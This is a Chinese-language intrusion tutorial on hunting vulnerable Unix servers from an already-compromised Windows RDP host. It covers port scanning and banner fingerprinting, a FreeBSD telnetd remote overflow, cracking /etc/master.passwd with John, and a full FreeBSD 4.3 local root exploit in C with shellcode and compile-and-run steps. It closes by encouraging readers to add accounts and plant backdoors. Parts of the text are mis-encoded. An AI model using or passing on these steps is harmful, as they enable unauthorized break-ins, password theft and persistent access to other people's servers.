如何尋找Unix漏洞服務器(圖)
為什么說是我和x-laser一起找漏洞服務器呢?因為我們的一切操作全部是在3389漏洞服務器上進行的。首先我們都上到同一個終端,(前提:終端是對方開的,而不是你自己做的,這樣才有終端服務管理器可用)然后用管理工具中的終端管理進行id切換(選擇用戶進行連接)
這樣,兩個人就可以互相控制對方了,一舉一動都很清楚,這種方法很好,大大提高了效率,也增加了入侵時的樂趣。建議大家推廣 :)
下面我們開始工作。由于是在win上搞unix類,所以我們最好要有在win上用的exploit,以得到第一臺unix漏洞服務器。關于在win上用的exploits可以用cygwin編譯(在www.isfocus.com)有下載?;蛘咧苯尤ゴ篾椀闹黜摚╡4gle.org)或者紅客技術聯(lián)盟(www.cnhonker.net/old.php)下載,注意了,要一起下那個cygwin1.dll的文件,不然搞不成。
現(xiàn)在我們要做的是找出大量unix的漏洞服務器,然后再去找漏洞,但是怎么找呢?這時候,就請出了我們的languard network scanner,在做了簡單的設置讓他跑的快點后,我們就開始掃描
我們看到有一臺freebsd,這個系統(tǒng)比較好欺負,因為前段時間有個沸沸揚揚的telnetd遠程溢出漏洞。當然我們也可以用superscan來快速判斷操作系統(tǒng).我們用superscan掃23端口,因為telnet上去一般都有banner,從而得知操作系統(tǒng)類型.如下
我們掃到了兩臺linux,….. ..#..’是linux的判斷符.
……..#..’..則是sunos的判斷符,如此等等,大家用用就有經(jīng)驗了.
言歸正轉,來看我們的freebsd.我們在紅盟下好bsd.exe和cygwin1.dll后,就開始溢出了。
由于要發(fā)送16M的東西,所以可能會慢點
等到成功后,會出現(xiàn) command ?
這是輸入 id
可以看到自己已經(jīng)成為root了。當然,大家還可以把shadow抓下來,bsd下的sh
adow文件是/etc/master.passwd,然后john跑個用戶名出來(在www.xfocus.net有john的windows下的版本下載,也是用cygwin編譯的),再telnet上去,就得到了普通帳號(因為root帳號一般比較難破),再進行本地溢出。為什么要這么麻煩呢?因為我們遠程得到的shell很多都沒有回顯,所以不方便添加帳號。一般在bsd下添加帳號是在/usr/sbin下執(zhí)行./adduser ,然后按著提示做就可以了,bsd系統(tǒng)很穩(wěn)定,很多大型網(wǎng)站都是用這個建站,比如紅盟。本地溢出的代碼我在這里貼一下
?受影響版本: FreeBSD 4.3 4.2 4.1 4.0
早期版本也許受影響 測試程序使用方法:
netdemon%gcc -o vvbsd vvbsd.c netdemon%cp /bin/sh /tmp netdemon%./vvbsd vvfreebsd. Written by Georgi Guninski shall jump to bfbffe71 child=61056 login: login: # done #
發(fā)現(xiàn) FreeBSD 4.3 存在一個設計上的漏洞,它允許用戶在其它進程中插入 signal handlers。
題出在 rfork(RFPROC|RFSIGSHARE) ,如果子進程 exec() 一個 setuid 程序,然后父進程設置一個 signal handlers,這個 signal handlers 將會在子進程中被復制。發(fā)送一個信號給子進程將能導致 signal handlers 被執(zhí)行。 利用此漏洞,本地攻擊者能取得 root 權限。 vvfreebsd.c
/* FreeBSD 4.3 local root exploit using shared signals. Written by Georgi Guninski
p/sh", shellcode gotten from the internet and modified unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x50\x50\xb0\xb7\xcd\x80" "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; typedef (*PROG)(); extern char **environ; int main(int ac,char **av) { int pid; //(*(PROG)bsdshell)(); if(!(vv1=getenv("vv"))) { setenv("vv",bsdshell,1); if(!execle(av[0],"vv",NULL,environ)) { perror("weird exec"); exit(1); } } printf("vvfreebsd. Written by Georgi Guninski\n"); printf("shall jump to %x\n",vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf("child=%d\n",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) if(!execl("/usr/bin/login","login",0)) { perror("exec setuid failed"); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf("done\n"
); while(42); }
/*
可以找到可寫的地方,然后cat >vv.c 回車
(鼠標右健粘貼)
ctrl + d保存
gcc –o vv vv.c編譯(gcc在solaris和aix等系統(tǒng)下叫做cc)
cp /bin/csh /tmp
./vv
這樣就執(zhí)行了,一般可以得到root.注意第二句,這是代碼的需要
然后就去adduser然后再放一堆后門上去吧
幾點補充:1.命令w查看當前哪些在線,要是看見root就要小心了
【編輯推薦】